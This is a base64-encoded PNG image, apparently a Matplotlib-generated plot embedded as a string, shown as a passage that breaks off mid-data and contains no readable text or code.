"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